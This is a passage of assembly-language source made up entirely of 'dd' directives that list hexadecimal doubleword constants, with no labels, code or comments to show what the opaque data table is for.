0CE60DA30h, 9D297EC1h, 10A938C0h, 0DC07C7Eh, 5D6A8CCBh dd 0D5B7F0E8h, 0C48F28DFh, 0E65A44E7h, 0DC011C84h, 0D0B78691h dd 0DCBA2080h, 0D56FA092h, 0C10689E8h, 0B66B2EE2h, 0BC9B24E8h dd 0A9D1D7Ch, 14C4E074h, 0A87C80B5h, 4894248Ch, 0E23C0CDDh dd 0CA1E7C48h, 6BA9F87h, 88C1A1DEh, 0DCBDA028h, 0B52E6B14h dd 0D1D841D0h, 8AB6E092h, 0CD6D9F13h, 0C42D0405h, 0E56F8000h dd 533D303h, 0C094FD87h, 0B0F05DE8h, 0CEE1B860h, 0CF7CBCF8h dd 0A2BD9519h, 86FBC328h, 0B7C88818h, 0A658A4E5h, 207831DCh dd 82EDA508h, 0D397E630h, 861C402Dh, 12FFF4BDh, 0AD0BE9Fh dd 65F46F44h, 0E67821FDh, 0DFA2EB93h, 0C80F2042h, 1E018E49h dd 0F04AA087h, 0C7F493FFh, 9F0C0D0h, 45CE9D88h, 0A650FF18h dd 1F97003Bh, 0EA2FD3EDh, 2B007AA7h, 53FD3889h, 4407F274h dd 0D1002DCAh, 0E0978F5Dh, 664EFB42h, 212A08B8h, 5DB95800h dd 0B16D1D20h, 92143BE2h, 0EBB88F80h, 6B40AE77h, 157EA418h dd 6B58E18h, 4722A334h, 0CD017097h, 937027DFh, 17C4C58Fh dd 54BBED74h, 0D2FA596h, 30B8221Dh, 236006DBh, 9EB37248h dd 17CE004Ah, 66837371h, 0DD605BF5h, 7949EF81h, 85C029DEh dd 47A3C220h, 8A0EB033h, 94755436h, 30FB3F94h, 0DA8C0300h dd 0DBE2EB19h, 0E6080E8h, 30F42F20h, 0FDFA1DACh, 6ED28071h dd 0B903DC1Ch, 68169A30h, 60CFA2F0h, 9FCAD83Bh, 106B40Eh dd 0EA372FABh, 38D0F49h, 1B425E61h, 44978E73h, 48807911h dd 4CA71098h, 0C2953714h, 6A0E0AECh, 85518C17h, 5834B400h dd 400CEE49h, 46574088h, 0A97B88A8h, 0B9070024h, 2094F772h dd 0BDE9E401h, 2BAADEE6h, 2563F189h, 0EE40382Fh, 67A50D80h dd 0DF0610E2h, 34638E68h, 0CEDE1E21h, 0C48580A0h, 5388C7FFh dd 6D82B000h, 17FAE629h, 0D8032446h, 0F6210608h, 118391Dh dd 59A8D668h, 834A8833h, 7B229D09h, 0E830208Dh, 0C5CBF2Dh dd 0CF16606Dh, 1700A2C1h, 0EA2E492Ah, 56820B19h, 2F201CBCh dd 71201C30h, 8542ACh, 0D0FD4023h, 2177FB45h, 212C6E37h dd 83A59D30h, 0A3660ABDh, 128434AFh, 7B001CBh, 40FD3976h dd 5CEE86BCh, 39234C30h, 0E8D782Fh, 7A83A7BDh, 79BBA0C3h dd 909033D2h, 51038CC0h, 3AB68F2h, 0D1582A24h, 22022288h dd 6F35A675h, 47BC07Fh, 0A844DF11h, 9A08856Bh, 77F48117h dd 0F91F96B8h, 0B890B4F1h, 0D9811080h, 0E431063Eh, 0D1DB229Bh dd 0A8046E42h, 7F8D2372h, 80450911h, 6FDEC131h, 2AEF74E9h dd 60D42F8Ah, 0FFB580BEh, 54A0E748h, 723E1921h, 5CAC269Ch dd 8F447A7Eh, 171744C2h, 3700B424h, 809BADFFh, 6260068Eh dd 0A8940F7Dh, 0BC6B5C1Ah, 36CC48F6h, 7B1C9A84h, 0D2340076h dd 6FEA175Dh, 0A023FC3h, 0F7A64802h, 0E0462Bh, 1D2A5673h dd 0A74BD832h, 0B584E402h, 80C31537h, 9E87FF94h, 36D702D1h dd 0E807D45Ch, 0E9BEC0A0h, 2F009979h, 24735F9Bh, 2CA96D9Ch dd 9C08CE6Ah, 21514671h, 0F42610CDh, 3408CA1h, 0C28236A9h dd 0D85E9BF9h, 4100A464h, 3E0F37F2h, 58F10797h, 878E64F3h dd 0EE361850h, 42849h, 0FE08815Bh, 3892E6E7h, 0AB9B3D0Ch dd 48B9502Eh, 7E3039A7h, 0ECEAB538h, 0C49DFB26h, 6035BF08h dd 36630E6h, 60DBE421h, 5030DEB4h, 0ADC74B01h, 0CC416F76h dd 0F2A9984h, 1FD00197h, 5841F00Dh, 0A2008AE7h, 963E166Fh dd 82593F30h, 0E4FC84EBh, 8228C0DEh, 9B66807Ch, 0C830BF20h dd 0F5C7C0A0h, 0FC0385D1h, 0B5887E18h, 0CA3000EDh, 9783FC94h dd 660C9EBDh, 50CB23ABh, 0AEA119AAh, 70B0682Dh, 0A08CF104h dd 5D978415h, 268804E8h, 3EBA5788h, 8296E786h, 5A20B8D0h dd 76870033h, 4E239EE4h, 0EF79064Fh, 781E5B30h, 0F5D9A107h dd 4590F400h, 0E937ECA0h, 4A63B9C0h, 201065Ch, 6F96A621h dd 0A080C489h, 6DF42429h, 2251591Ah, 30EC3040h, 0D024012Ah dd 3C207CCh, 0CDE5F454h, 425CC0ACh, 81C04285h, 7D4772A5h dd 28FE188Dh, 65784190h, 0DFDC48D4h, 239421D0h, 5DBD0AEEh dd 94C015B0h, 0C804488h, 0EE345DC5h, 84DB009Ah, 0C96C32BBh dd 0BE52C792h, 36BD82C4h, 7484AAF0h, 9383500h, 17A658h dd 85BFC9D4h, 0EFFD32CCh, 1521E0Ah, 8E8570D1h, 0B064C93Ch dd 2BFFD0C1h, 0D8707101h, 61D4EFA2h, 9E3E01ACh, 774AC794h dd 0B8400828h, 73DE4499h, 0B4C91860h, 0C9EECD07h, 38996018h dd 0A2607358h, 963E3097h, 1A030374h, 0F82E94D2h, 416E80D3h dd 87A10EDAh, 692A1FECh, 8B844570h, 0C035C8A4h, 7C951CC8h dd 98FDB702h, 62544F87h, 5A3840BBh, 0A303857Bh, 5130C2BBh dd 0BC4EC818h, 0E4C09788h, 0BAFE29h, 0DCA55D02h, 27AB676Ch dd 0B16F9715h, 0F40708B0h, 0E51700CDh, 0BB4BF72Eh, 0D5F1EF00h dd 0D409DC2Ah, 131093F2h, 393404BCh, 20F60FC2h, 0FCA34488h dd 86A4999Ah, 0C11B8AB1h, 0F881BCA6h, 0ABA5E804h, 9C487A7Dh dd 0C0DF8868h, 97765DBCh, 0E0FCB848h, 5DC40Dh, 0C602478Fh dd 57CAD21Fh, 0CCCF5224h, 9C29311Dh, 6A968109h, 4F644044h dd 29BB803Ah, 0BEF52C12h, 67482462h, 608844C0h, 4DABA3FFh dd 870198C6h, 0D8A70CADh, 0F2683254h, 28223027h, 6A02A01h dd 0C20BA533h, 41F1E030h, 3E7433CBh, 18D8020h, 0FE821004h dd 0BC6C493Fh, 0ED332480h, 0D1168614h, 5408A544h, 1F76028Dh dd 0A445F395h, 79E2A0A0h, 4F9D80h, 0B5D50C3Bh, 98C6165Ah dd 7D53A30Ah, 1D52EC7Eh, 8080119Ch, 42B9DA44h, 1FBC021Dh dd 264C4551h, 0A371D8A1h, 0F8A7F1B4h, 1312B808h, 0D041C662h dd 7558F3E1h, 80629823h, 0F918368Ch, 3711630h, 294C389Ch dd 30F23Eh, 0A8785F8Ah, 540642EEh, 1BC435h, 52D65672h dd 7C240DA6h, 26C8674Ch, 465EBC54h, 0DE800031h, 6DE924C8h dd 5D5AE435h, 1520B0C7h, 8CB3F429h, 50D04C12h, 9B7361h dd 6FBBE622h, 89C8049Eh, 51EED50Eh, 6C10411Ah, 8EE0928Bh dd 84A4B367h, 88811F96h, 0C000E3D0h, 4F9C5C02h, 4C118243h dd 0CD368CEh, 0E690D068h, 0A744194Ch, 262551C1h, 771F408h dd 0E16FB40Bh, 4A4C20FAh, 3E3974CBh, 0DD18D7FDh, 68E318CFh dd 3107A318h, 0F87CC48h, 9D02BC89h, 521A0D20h, 66074F63h dd 6B412DFAh, 763F849Eh, 4EBB700h, 6893DA6Dh, 44CDEA00h dd 0AB226F1Fh, 0E4F6D3B0h, 271A44B2h, 20604078h, 0EC80CB91h dd 0D3F42468h, 6D59C074h, 0BA058667h, 55160E50h, 2A23EC2Fh dd 8388843Ah, 0D4D35AABh, 329799C8h, 6030F0AEh, 76BACE89h dd 0DCFB49h, 0FA356FCFh, 19984A66h, 85A6E22h, 0BD2180B9h dd 0F1773567h, 96FC68h, 0C626AB8Ah, 598DE916h, 931CFC5Dh dd 3223483Ah, 70376202h dd 80906CBFh, 5EEC4F0h, 0FD5CB59Dh, 25148179h, 221F00C8h dd 0F47852BBh, 0D8E0379Dh, 0F53566C1h, 0CA1862CDh, 5EAE88h dd 0B69FDC35h, 8E6DE609h, 10173104h, 0CCC27B2Eh, 68A0B0E5h dd 96D8BBDFh, 0C23437A2h, 0B80C33C2h, 0DD490ACh, 0FC9F816Eh dd 0D5EC4C71h, 11903000h, 59A8C32Fh, 9D68039Fh, 0FCF25310h dd 50106ED3h, 62E3402h, 5C17403Ch, 0BA020B58h, 0E3F05BF4h dd 913C4394h, 0FC2C08F8h, 672B853Ah, 8D843CC4h, 626BA7D2h dd 0FEE1273Bh, 46148A20h, 371FC231h, 2A06070Eh, 12F0DD24h dd 3B94E41Bh, 3BB62320h, 49E87B1Ch, 0A801C431h, 0DA3C6A81h dd 185E1841h, 0D38D0576h, 7079B3A7h, 8CBEE054h, 50C34203h dd 0F8CF81A5h, 12FB8h, 8AA91F24h, 0B91796F1h, 9E90FA5Ch dd 0C9913705h, 4B4080Fh, 1901B8EDh, 2892C34Dh, 8C28EC64h dd 82EB8000h, 1FAB6966h, 10549A25h, 5015DEA1h, 860E7304h dd 0EC1FB3EFh, 202D79CAh, 960AEC7Fh, 48D404FFh, 90C4D120h dd 6CF26920h, 96434A08h, 0A534B400h, 9E80132Ah, 93435C0Ch dd 58194110h, 2C631040h, 99B90702h, 60799502h, 0B7ECB925h dd 209C4602h, 94F6C610h, 0CBB804D2h, 51810027h, 434B53Eh dd 8E1342CDh, 0E1DC9C38h, 363C6E00h, 0CC142107h, 71D6FE5Fh dd 24F34905h, 6000F148h, 0EC12E638h, 1E3EC094h, 0C9D44C43h dd 46E44836h, 0A75D399Dh, 61ECA92Eh, 502D636Dh, 0C4C8A3A8h dd 0AD789D07h, 98A012F9h, 77D1CA82h, 0CBF00EDAh, 0C72D8B68h dd 3E19DCC0h, 94FF9712h, 9DDE1C40h, 0B0B00291h, 188F1050h dd 0D5908CEh, 563C1E12h, 3A085608h, 397F2348h, 68008738h dd 723DBCC7h, 0C8C086FBh, 0E5411FA2h, 0A4EA072Eh, 0AB8168D8h dd 0CB6FC490h, 503CAD4Dh, 2040BA44h, 0DBAB1B66h, 7AB0D1CFh dd 4002727Bh, 86F5CAFDh, 0A3D483FAh, 74912DBh, 0A7744023h dd 4E064CE7h, 46D50D00h, 0A2119BCCh, 77497FFEh, 1A33283Ch dd 0E16B6180h, 3C96A96Dh, 5F2450D8h, 732A3644h, 0B459C27Ah dd 0A07814FFh, 87229D19h, 8888CD91h, 0C60ECE94h, 6454F69Ah dd 222D116Ch, 423A7848h, 9368DC41h, 8029FB6Ch, 8E7E409Ah dd 4D6FD904h, 0D4C82FABh, 4ACE0974h, 0F068A677h, 8083E98Dh dd 14740573h, 0AC1A3B12h, 4817A710h, 1B9237Ch, 66EF3570h dd 809C6352h, 693568BCh, 1C793CEBh, 33B6D280h, 92E23B0Eh dd 837D6113h, 4C313086h, 783C04EFh, 2210CF40h, 4D05796Fh dd 4D91F37h, 0B3F40EF8h, 0B959096Ch, 1FCCE78h, 857DF729h dd 39D68358h, 0DF7282F8h, 42F8147Eh, 4A932F20h, 0BFD008D0h dd 50E4B592h, 15B169Bh, 0BBC49321h, 0B278A3E4h, 0BA813388h dd 2A89D89Fh, 848D2201h, 2F36B46Bh, 3AC06093h, 2523C8h dd 0B4E5FAD6h, 172576E7h, 0E02C8AB1h, 0ECCB5412h, 9FE03288h dd 171E6A89h, 13437A70h, 0BE880503h, 1FCC9217h, 0E7D36020h dd 3B947FBAh, 9580F553h, 0C925507Fh, 0ACB62709h, 0DE02CB10h dd 38F38B66h, 2E2C00D2h, 3429B0C7h, 0F918CCD1h, 0CAC46600h dd 0EB5E27A5h, 2D6A096Fh, 508243D5h, 0C5091008h, 607EE44Ch dd 0BE116Bh, 9BEC3876h, 60EB6DBFh, 49F54500h, 0B41E1704h dd 6F6B094Ah, 0FC82DED3h, 5C014053h, 0F42D4D0Fh, 0BD07B404h dd 3B9D03CFh, 0C52A1222h, 0CC4C912Ah, 3F60728Eh, 2A645DFBh dd 4D50B0B5h, 3E404B94h, 0FFD012BFh, 7AFC93E0h, 1C4073A9h dd 998704E1h, 0F3274FD2h, 0F8354B9Ch, 0EE867807h, 0D6C41F41h dd 3E0B887Ch, 0B4E8EB21h, 8850308Fh, 3543C1A0h, 74849040h dd 11749303h, 0ECB6007Ah, 847D2C30h, 99DD31A5h, 0D7F52018h dd 0C7A45950h, 3588E964h, 243EC88h, 9C5CF53Ah, 0E4D9774Ch dd 409EF400h, 38D14DDAh, 4F05B0D4h, 0C4D3678Fh, 20802028h dd 61CB1F6Dh, 360C1008h, 0E65E0086h, 23CFAA87h, 7125808Ch dd 6F3022B1h, 0B744E138h, 0F463BC35h, 0C430CCA2h, 0F8E327E9h dd 0EF7CE490h, 45EBD202h, 0E07FD4C6h, 42ADAD0h, 51719003h dd 0E47C905Ah, 254A57A7h, 7369C98h, 0FDBD7C2Bh, 523F7256h dd 1D6DC387h, 0EEAC6008h, 0ED491490h, 5DBE80ECh, 99C89778h dd 0C60BC014h, 12F89B5Dh, 0C441126h, 0B1FE080Ch, 47EC00EEh dd 68A309Eh, 0B0042D12h, 9CDBF504h, 7319E7C0h, 0A4B230C8h dd 0DD2C2A78h, 0ECB90C90h, 0E240961Ch, 2ECF5EDh, 0F0672447h dd 0D0F61538h, 74985D26h, 0CB1C7A46h, 4BE1688h, 0AD26C9Ch dd 0A63A9CF4h, 0BE42C424h, 30F71835h, 0EC036713h, 0AB393CCBh dd 0AAD13080h, 46CB106Bh, 0B366B905h, 0B890CCA3h, 241DEF06h dd 85CCB16Fh, 885722C6h, 1201F9Ch, 26E0C4C8h, 0FA17131Bh dd 81EDC8CDh, 134D31A6h, 0A4C820E0h, 0C82EB355h, 9060CC61h dd 0C1E891h, 66B82ED4h, 13D32C9Bh, 1E1257E0h, 4C103854h dd 8C7FB874h, 6EE08C7Bh, 27BE0419h, 402B6348h, 0D21AFE5Ch dd 6A01DE28h, 0B35AF967h, 3023363Dh, 0F83029E2h, 0A53730B1h dd 0B7EE84F1h, 5C1A6D24h, 79304C0Ch, 0AEE7Ch, 0E85C12BAh dd 2805359Ah, 71E00C02h, 0E0F3653Eh, 804263DCh, 0B8C1F4D1h dd 7C56B903h, 0C1E903Dh, 9B17D715h, 5E94833Ch, 0E499F844h dd 4CDA1CA3h, 0E56801E1h, 25EF17C4h, 0E2F43330h, 56BF3093h dd 5262EE0Dh, 2C4C59ABh, 0F0018985h, 510907E9h, 0C8943D5Eh dd 247AA9A0h, 202C11B4h, 697005A0h, 0E4C9478Bh, 6E108EE0h dd 74003363h, 8D0CF84Bh, 0C30009EAh, 0CEA2E681h, 10A6847h dd 0C1F133D3h, 0EC67EB17h, 0FC3FFE5Ch, 0E3077C8Eh, 0F8882BC5h dd 0A6088089h, 59FFCDD9h, 7613D890h, 931040F5h, 0B8E1739Bh dd 85CCD800h, 29142D43h, 7B5155Ch, 0C84CF8B9h, 0CC189B15h dd 1DA4D400h, 0DC3D07B2h, 0E4FF20CAh, 0D6807C29h, 4951806h dd 6A3209D9h, 42D4830Eh, 72A28A3Fh, 4438F4A3h, 0D2A9256Dh dd 78BFB0E1h, 8C29BC58h, 664F7A02h, 0E2A7D96Ah, 3507269h dd 0D294E837h, 988EB8Dh, 280A8F06h, 9C1A899Ah, 97105400h dd 2EAB68F6h, 4360CCE7h, 90032C62h, 6B6D5EE3h, 26E02288h dd 5B8AC500h, 6E2C7C21h, 59C07D71h, 9E7CF054h, 8D796000h dd 8B21A7BEh, 38917Ah, 0B38CC1DDh, 0B08A9ADh, 0CF893353h dd 0D8C0F86Dh, 7B0AA8h, 0D0672FBAh, 1511EB12h, 3FB69205h dd 0E02187E4h, 81812A63h, 1FC74AF9h, 0B60EEB47h, 0A5E06441h dd 48C1B4ABh, 4F00C824h, 3E4F3769h, 1C3A5C16h, 83BA8023h dd 51DCBBB3h, 5C94F825h, 0E6CE0255h, 8E68F4FAh, 1471BC53h dd 4B8E2020h, 0F3D04422h, 0E994403Bh, 0C041374Ch, 276B0EC9h dd 70C2EDC4h, 5EE76E1Ch, 377A044Ch, 17A201F0h, 6C3A53D6h dd 1C8A3124h, 46C52320h, 3C06D424h, 10780110h, 3EF1763h dd 0A13D56F5h, 0A986E14Bh, 802CD2D5h, 8178944Bh, 3A6F98h dd 3E0746CCh, 2D09423Bh, 7C6E92B3h, 103CEC96h, 0F600E125h dd 4EF0020Bh, 172587EFh, 95D06E3Ah, 0E604488Fh, 10CC141Fh dd 0C41308C7h, 4148C919h, 3DEB008h, 0ED4A9825h, 9FF709A5h dd 0E0C3206Fh, 89E9E4F9h, 0A0CFEF60h, 279C4D7Ch, 0E034626Ah dd 60321662h, 80C663F8h, 19C7198Fh, 0E580D79Eh, 139B3C24h dd 88C5C7CBh, 0A717D4C8h, 3884872Ah, 20309882h, 7EFB2152h dd 0C555E21Fh, 7FDEDBC1h, 0CEC48481h, 258E09A4h, 0CCC45E21h dd 0E889B860h, 8030CBA2h, 0E59B16Dh, 6E061748h, 5BFB3040h dd 285322A3h, 0EC2038ECh, 936880CEh, 0B03DAB29h, 64C0F616h dd 0B8C376Fh, 0BF92C6DEh dd 1FCED8C0h, 465E4894h, 2B007AB7h, 7345B3A3h, 0C8C543ABh dd 0C6110E51h, 0F6358382h, 28138A62h, 5BB140FCh, 699DB235h dd 0F468C8D7h, 0AC9A2107h, 13DC200h, 56B5D5D1h, 8C350058h dd 5D805AB2h, 4B54722Bh, 9B098384h, 6A1816B3h, 1AE8607Ch dd 0F0028214h, 630438E7h, 9CE4A4h, 29D25A0Bh, 0D86792B9h dd 5154A302h, 41EA45EDh, 0A051E848h, 91801D07h, 79326C4Dh dd 970054DBh, 56DCB675h, 5D5B39h, 0DD01ECAh, 0D1DF6802h dd 0E41593Ah, 0E489FD82h, 1CB49D81h, 5E9024F4h, 4493CA0h dd 4A33B704h, 0F07083A9h, 0CB0706DCh, 0CAC50331h, 0C3D59C92h dd 7FAA99E9h, 2AFA7B0h, 17FC98ABh, 0ECC03E50h, 0B480622Ah dd 0C0514937h, 978FDE02h, 0CC7E1507h, 0CD7A2905h, 41356800h dd 67FFD18Eh, 0EA5E6Ch, 9D5EA424h, 62A5F400h, 6F96CA28h dd 20156FBAh, 95CF2242h, 1F1B645Eh, 5D4AE478h, 205E099Ch dd 1213205Ah, 5C91CE0Ah, 90009BABh, 0B132675Fh, 2A02306Bh dd 0CA467420h, 0B4F56F01h, 29E6ACFFh, 40F2509Ch, 113C1D97h dd 0CC398028h, 4BFCBA2Bh, 8C94D495h, 62003898h, 1E59BC7Fh dd 131FC4A9h, 0A591E37Ah, 199408C4h, 0F82078A8h, 180E094h dd 0A7C1DF24h, 0D8FC527Ah, 0CA68FF0Ah, 0D3C01060h, 25B29CF2h dd 7C644730h, 68670AB4h, 11ACDED3h, 356580C4h, 8C5A66F8h dd 0AFC244h, 0AA2355Dh, 40D5C05h, 0A4031A75h, 137B3F7h dd 2DE119B6h, 3A35A9B0h, 6BABAC40h, 0E5B1366h, 6D21366Eh dd 3C58F958h, 966AFD04h, 0E4CDD179h, 26072028h, 20919C94h dd 0E9B6952h, 30B1C92h, 117EBAB1h, 0FD14CB0Ch, 1721B868h dd 88A3DFB5h, 0AB1D3B6Ch, 87B47F5h, 188DB22h, 3451815Dh dd 0A4E84CD1h, 5CA8CEECh, 7CEF42A7h, 31B7042Ch, 9481C9AAh dd 0E448144Ah, 0AE4E8852h, 2AD21D09h, 0B2C481F2h, 7100BF2Fh dd 404C4451h, 21061134h, 0D434D500h, 0C593762Dh, 108A2200h dd 2EA0F638h, 0E9161201h, 0EB307181h, 7714101Fh, 7F5E77B5h dd 0C23FF866h, 0FAAA8168h, 4F9DF0A0h, 20C09AEh, 0E1D06FA0h dd 8E9CB607h, 0AA211EDh, 30D65E86h, 6517E30Fh, 0B8274CF4h dd 70AD7C61h, 78686048h, 4AB112C6h, 0BFE8227Fh, 0AC687231h dd 7896C227h, 356ABA00h, 0C97510E8h, 26E74407h, 6D0AD702h dd 417E6901h, 8114AC9Ch, 70D851ACh, 0C9C4CF00h, 70CC7D29h dd 0BE450347h, 0DB78594Eh, 5C4CA7DAh, 130128B3h, 0C26FB3D9h dd 0EE844984h, 2A4A36Ah, 0A7D78D82h, 58047693h, 8D008AE4h dd 8F16BF95h, 0BFD6071h, 0B964FF7Ch, 0E2FB84A5h, 2A1B10C0h dd 0BC968114h, 2F92D081h, 12E06242h, 0DCD040ADh, 6268F05Ch dd 3E9918E8h, 2CAB0E0Fh, 0BC43033h, 6BB372A5h, 0EA809491h dd 0E60703h, 1BEEDF61h, 0EB6170E1h, 879DD713h, 8E7AE605h dd 140FC084h, 0A568E36Fh, 0F1A4D22Ah, 54B9C498h, 38D23C4h dd 37030F8h, 207C62ACh, 0B230F12Ah, 17A70400h, 3EA5CA67h dd 31623437h, 0BC84E850h, 9E078C79h, 376C1684h, 0F4E197Ch dd 0C19960Ah, 359DA7C3h, 374CDA90h, 2FE79914h, 34C4064h dd 14F55112h, 0C0E4E095h, 7B2A1274h, 0B72840B6h, 7E307CEBh dd 40F8C4A0h, 4013A388h, 0A559632Eh, 65852550h, 6038C4C4h dd 0BD6F31h, 8FC710EEh, 0F2E11FB5h, 10FEE4A9h, 0F3C5679h dd 0D68E185Fh, 5B96F1C0h, 0C1E14DE2h, 20B5EDA5h, 188C900h dd 0C68F80CEh, 75711D03h, 0F4FFF17Bh, 145A9C81h, 5F0BA400h dd 2007D427h, 229FAACCh, 0CF7599h, 0D830EF0Dh, 37146E19h dd 2B9C8154h, 9B07F277h, 0EE54F7D7h, 8617EC80h, 0F56D0178h dd 84703120h, 1F68266Fh, 0EF84F46Eh, 58B83215h, 18C31E8h dd 688B182Dh, 2FE6A96Dh, 4D761005h, 0D367F077h, 0D9185949h dd 51893h, 572D418Eh, 3E0DA028h, 9083C8CEh, 8AF2240Fh dd 0A736FA63h, 186E694Fh, 0D0C88200h, 7B587956h, 54B1C017h dd 645BAC04h, 0F065B302h, 0CB7964F9h, 58BEE218h, 4F6FEB60h dd 0E5FF257Fh, 780480E4h, 31BD3EBFh, 0C00D24C2h, 9BD35474h dd 13BE8020h, 0E85EFEC3h, 7B47AC05h, 0E00884DAh, 8D77C05Dh dd 0BB46A7BCh, 0CF093222h, 82F08CBFh, 0F1C6D764h, 0C4FF016Ch dd 0F0D3B57Ah, 0B803868Eh, 52A6A27Dh, 54EFD2A3h, 0A850400Ch dd 870FBCF1h, 0A0406D23h, 0DBE0967Dh, 0C25C1E5Eh, 6960C170h dd 213E5393h, 0E82A6ECCh, 0DA973721h, 0E8046853h, 4242F205h dd 0D4DE1024h, 0ECE64D64h, 17532920h, 23778420h, 0ED07B560h dd 8413D494h, 2788DCCBh, 0A15231C3h, 182EB5A8h, 97FFC06Ch dd 5C48864Ah, 0A9D98029h, 8FFC0D49h, 3C647B00h, 934B6D14h dd 0BA32E471h, 0E0E14AB8h, 0A2278178h, 0AB2C214Ch, 4C622383h dd 6FA2BF80h, 0C0C91E93h, 0C43430DEh, 54119519h, 2B2CCD4Ch dd 0F6B8A830h, 15250BB4h, 0DC59ECB2h, 6DDEE4C0h, 2C755378h dd 245C0B2Eh, 223C225Ch, 9D4E099Ah, 16E89031h, 0FEC02088h dd 10F14D1Fh, 31ACFF2Fh, 64AA08D4h, 60045D17h, 70091216h dd 3311701Fh, 0D6AB3E80h, 84A0A888h, 60828E37h, 98C00C20h dd 9D592708h, 0D0DA2CC0h, 8CB66C92h, 328465Eh, 62C29F05h dd 29A1BF7Bh, 51A5A270h, 0E5C7C0EDh, 6E9283D0h, 618C063Fh dd 0C0A36F7Dh, 0F02CCE54h, 5DD3028Ch, 43309779h, 0E404C59h dd 0F0A95DBBh, 99372B0h, 0C5AD0776h, 5EDF0068h, 66CC2750h dd 13A30A40h, 0E02806ABh, 5FC8808h, 0A488644Ah, 843B8CC5h dd 72669335h, 0B00134CBh, 8EF1355Ch, 3238751Ch, 828BC814h dd 0D28854CAh, 73C24441h, 54409C0h, 8038F3A4h, 0E757A2DCh dd 371F555Ch, 0DCA660A5h, 0E0C5D112h, 32BC78B8h, 248008Ch dd 0C7E2501Bh, 461F8938h, 0F481CAD6h, 0E1A1031Ah, 9ADE9984h dd 84E4BC87h, 6F211665h, 22A61035h, 0D0944E67h, 2EE4556Ch dd 10857CA1h, 9736B903h, 7B76C023h, 0F8301876h, 0A04D491Ch dd 24153437h, 0A4E210h, 4E40070Dh, 880A23h, 8A29EE9Dh dd 96AF6135h, 8B7FC49Ah, 0EBB23C46h, 0BCEB903Fh, 60B809A4h dd 10010F29h, 0D034B1F4h, 7C920B22h, 98A1B579h, 942F2ACDh dd 75017C23h, 43ED4B3Dh, 0D16040A9h, 9B218B7h, 2FBB75A5h dd 3673C882h, 95A7BCD1h, 9CB891E4h, 503A3880h, 1F51B633h dd 0A7221D57h, 39366441h, 768B01E8h, 0A55342FAh, 24FFD0C4h dd 41DCF578h, 2D9BF6EFh, 9D404020h, 0DB3F9173h, 0E81A2466h dd 0E2B47582h, 0A3820F32h, 6083CFF3h, 87C5F5Eh, 0C8B7B314h dd 9368050Ch, 809CDD7h, 0A0DA06h, 84BEBB66h, 865C6A90h dd 35F41800h, 0D074545Fh, 28D7494Ah, 80E09E7Ah, 675A2FA1h dd 0CF1CCBC9h, 0B0046E3Ah, 0ECF44CEDh, 9BE60364h, 81105156h dd 7EDEB3A9h, 84792804h, 0E0D094BCh, 38CCCE8h, 45CA0692h dd 1904671Fh, 156DB7EFh, 407040B8h, 0F17C84E6h, 0B4973326h dd 89A86B09h, 0F0A8F211h, 0D77212A6h, 714C448Fh, 28121Dh dd 3FF945F8h, 34235C2Fh, 68D26701h, 34240BA3h, 0BEB11303h dd 85C4D127h, 0D8290909h, 6DE8CFA8h, 3A04D258h, 0F2D541C1h dd 993A906Dh, 8BC5168h, 0BF124106h, 0D381E404h, 1002DE09h dd 0A47A35C3h, 3C382C45h, 18CB9BCh, 39D1953h, 2B16A67Dh dd 0E7F82420h, 6D370047h, 0C38097C4h, 8A3A7B5Dh, 8F368111h dd 16A7EF59h, 3A2E7421h, 932318h, 68CB513Bh, 55905236h dd 0C96F2118h, 209A081h, 790FF17Ah, 3459E137h, 0E81888F1h dd 0EEA96D17h, 1E35FCE2h dd 904C81B9h, 0E4FDC053h, 0E7188769h, 617F64B4h, 74205A5Fh dd 70D189CFh, 8BFF6EACh, 50739379h, 606F0A74h, 26309AFFh dd 845480D0h, 0DCA03C9Fh, 3BAF6727h, 2C91B2DCh, 0A3122730h dd 881336Fh, 247E7129h, 0F078C228h, 10C83049h, 16DBDE19h dd 19A2E95Ch, 2B76390Ch, 7060D840h, 4A44A1E1h, 0C054C88Dh dd 3D03247Ch, 30E76C1Ch, 9BDBE0BFh, 6E0204C1h, 852AA7C4h dd 5204B410h, 240459D3h, 0CE019B73h, 2A98B537h, 0B4D940Eh dd 0F800C963h, 0A31824C3h, 3A229100h, 68D5CEC8h, 5956800Ch dd 0B74A1027h, 2853308Eh, 0A07A732Ah, 0A6EF1408h, 51030BE4h dd 88EB28B5h, 0E09C19DEh, 388465Eh, 1ABB83A3h, 14504880h dd 0E8239715h, 0F30E9E84h, 307CB2E8h, 0FF05012Ch, 8E81B98Fh dd 0FEE2F8E5h, 0E4F640E0h, 4C0F916Fh, 0A496E79Eh, 0FF09F585h dd 2E636030h, 9068A4A8h, 5D101500h, 4AB92A0Eh, 0ACA900B5h dd 25D72131h, 0A10BE3E7h, 0C8D5C137h, 818B4FE0h, 956C42C5h dd 93E4C047h, 1245A360h, 7D71AA0Fh, 0F155E950h, 5A308028h dd 0F5E467DBh, 34CCF409h, 7E0642Ah, 5C90594Ah, 186A9320h dd 95E8F1D8h, 4E861A17h, 2D1998A4h, 6802885Fh, 0C4DA81F1h dd 0B6AB830Ah, 6C2908CBh, 0D9FA0F81h, 0A5D8E8F7h, 1E4302F5h dd 3F9D9C95h, 8D027CD2h, 1596B16Dh, 2FF4DA92h, 5C24E051h dd 0CA474017h, 9F4FFC7h, 0D13557B8h, 842828F9h, 14837720h dd 0A80F5C4Ch, 7246110h, 496657D4h, 0A2F17FF0h, 901D5B37h dd 73AE7D14h, 72F9492h, 0A4948221h, 0C0FCE135h, 1C30093Fh dd 23430C82h, 0BAEC9809h, 0E64D04D6h, 82B666E5h, 0C620FC28h dd 0C039838Ah, 7AABD368h, 0F6275FB1h, 0CA506DEFh, 8B6D10DCh dd 87E184A6h, 134888FDh, 86F7DC01h, 70669B75h, 6D0ECEA5h dd 80DEEF73h, 43721860h, 208A5A2Eh, 62676FB0h, 0BA008CFEh dd 587F330Dh, 2D9561E2h, 54E7F3DEh, 3F15F6C2h, 5C15F608h dd 332092E2h, 13C470CAh, 8661EB24h, 6917E813h, 748153A3h dd 5C21D9CCh, 97729800h, 609994h, 0EAA129A0h, 0B9D82E0h dd 0C4C8656Ch, 0C4C36031h, 241C90FEh, 45ECCC6Dh, 0CECC41F3h dd 0F2CA98FFh, 0FB00BC64h, 0FC39A2C0h, 0E0BD4BA8h, 548300CDh dd 4E2B89ADh, 960FDC2Fh, 390A4BFh, 0E07B2AC4h, 0CDFAEB7h dd 7E29428Bh, 660306D0h, 0E94FB6B9h, 0F2028616h, 3CA0381h dd 118D8B67h, 0D4061E81h, 0EE60E985h, 7E43B934h, 50190FFCh dd 3BF8870Fh, 1D33B501h, 